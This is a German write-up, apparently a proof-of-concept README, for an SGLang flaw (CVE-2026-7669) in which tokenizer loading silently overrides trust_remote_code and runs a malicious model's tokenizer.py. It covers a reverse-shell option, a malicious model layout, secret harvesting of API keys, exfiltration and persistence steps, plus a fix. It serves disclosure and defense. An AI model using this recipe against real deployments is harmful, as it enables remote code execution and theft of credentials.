CVE-2026-7669-PoC — PoC für CVE-2026-7669: SGLang stilles trust_remote_code-Override -> RCE | Kitploit

fae90abf6

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         Reproduktion über TokenizerManager.__init__
./run.sh --versions       transformers 5.0..5.5 Matrix
./run.sh --revshell IP    optionale Reverse Shell auf IP:4444
./run.sh --rebuild        erzwingt --no-cache Neubau
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (langsam)    return=MaliciousTokenizer    exec=True

Behauptungen:  29 PASS  /  0 FAIL  /  0 N/A  /  29 GESAMT
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Hoch

*** SCHWACHSTELLE BESTÄTIGT -- ALLE BEHAUPTUNGEN GESTÜTZT ***

Komponente	Festlegung
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
SGLang-Commit	`fae90abf6e15aaffb6fd924a439253674771487d`
`hf_transformers_utils.py` SHA256	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
Verwundbarer Block (Zeilen 898-909) SHA256	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

Metrik	Wert	Gestützt durch
AV	N	Auslösedateien (`config.json`, `tokenizer_config.json`, `tokenizer.json`, `tokenizer.py`) sind das Standard-HF-Hub-`auto_map`-Layout. Jede Registry, die sie bereitstellt, erreicht den Fehler.
AC	L	`PHASE-2` feuert deterministisch bei einem einzigen Lauf. Jede Auslösebedingung ist vom Angreifer erstellter Inhalt. `PRE-1..7` bestätigen kein Umgebungs-Fingerprinting.
PR	N	Kostenloser HF-Hub-Upload ist ausreichend. Nichts in der Auslösekette erfordert bestehende Berechtigungen auf dem Opfer.
UI	R	Der Auslöser feuert nur, wenn ein Betreiber (oder eine vom Betreiber konfigurierte Pipeline) `launch_server --model-path attacker/model` aufruft.
S	U	Alle `SEV-*`-Behauptungen laufen innerhalb der SGLang-Prozessautorität. Kein Sandbox- oder Container-Escape.
C	H	`SEV-secrets` erfasst `HF_TOKEN`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GPG_KEY` aus der Prozessumgebung. `SEV-network` öffnet einen ausgehenden TCP-Exfiltrationskanal.
I	H	`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`, `SEV-pip` sind vier unabhängige Integritäts-Primitive an verschiedenen sensiblen Stellen.
A	H	Aus RCE abgeleitet. `SEV-pip` beweist beliebige Subprozessausführung, was dasselbe Primitive ist, das für Self-DoS benötigt wird. Der PoC demonstriert keinen direkten Self-Kill.

Gruppe	Behauptungen
`PRE-1..7`	Festgelegte Versionen (Python, transformers, Datei-SHA256, Zeilenzahl, Override-Block-SHA256, Standard-`trust_remote_code`, Quellpfad)
`SRC-1`	Importierte `get_tokenizer`-Quelle enthält die Überschreibung
`PHASE-1`	transformers respektiert `trust_remote_code=False` direkt
`PHASE-1b`, `PHASE-1b-mech`	SGLang ohne Zeilen 898-909 respektiert `False` und macht genau einen `from_pretrained`-Aufruf
`PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent`	Echtes SGLang führt `tokenizer.py` aus. Trace zeigt Aufruf 0 (`False`)->`TokenizersBackend`, Aufruf 1 (`True`)->`MaliciousTokenizer`. Keine Log-Zeile erwähnt `trust_remote_code` (DEBUG-Erfassung auf Root- und `sglang`-Logger).
`PHASE-2b`	Gepatcht + explizites `True` lädt weiterhin (Patch ist chirurgisch)
`PHASE-3-rce`, `PHASE-3-via-override`	Langsamer Tokenizer-Modus erreicht ebenfalls RCE über denselben 898-909-Pfad
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	Persistenz- und laterale Ausbreitungs-Primitive
`SEV-network`	Ausgehender TCP-Exfiltrationskanal
`SEV-secrets`	Erfassung von Umgebungsvariablen-Geheimnissen
`SEV-pip`	Beliebige pip-Installation (Supply Chain)
`SEV-root`	Prozess läuft als root im lmsysorg-Image
`AUTH-1`	Standard-ServerArgs (`api_key=None`, `admin_api_key=None`) lässt alle `ADMIN_OPTIONAL`-Endpunkte ohne Authentifizierung erreichbar

attacker/model/
  config.json             model_type "gpt2" (in transformers' TOKENIZER_MAPPING_NAMES)
  tokenizer_config.json   benutzerdefinierte tokenizer_class + auto_map -> tokenizer.py
  tokenizer.json          gültiger BPE-Tokenizer (damit der erste Ladevorgang gelingt)
  tokenizer.py            Payload
  model.safetensors       Dummy-Gewichte

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

Code	Bedeutung
0	Bestätigt
1	Nicht ausgelöst
2	Falsch positiv (transformers selbst führte `tokenizer.py` aus, Fehler liegt upstream)
3	Preflight mit festgelegter Version fehlgeschlagen

CVE-2026-7669-PoC

Beliebteste

Verwundbarer Code

Reproduktion

Ergebnis

Festgelegte Umgebung

CVSS-Begründung

Behauptungen

Mechanismus

Fix

Offenlegung

Credits

Referenzen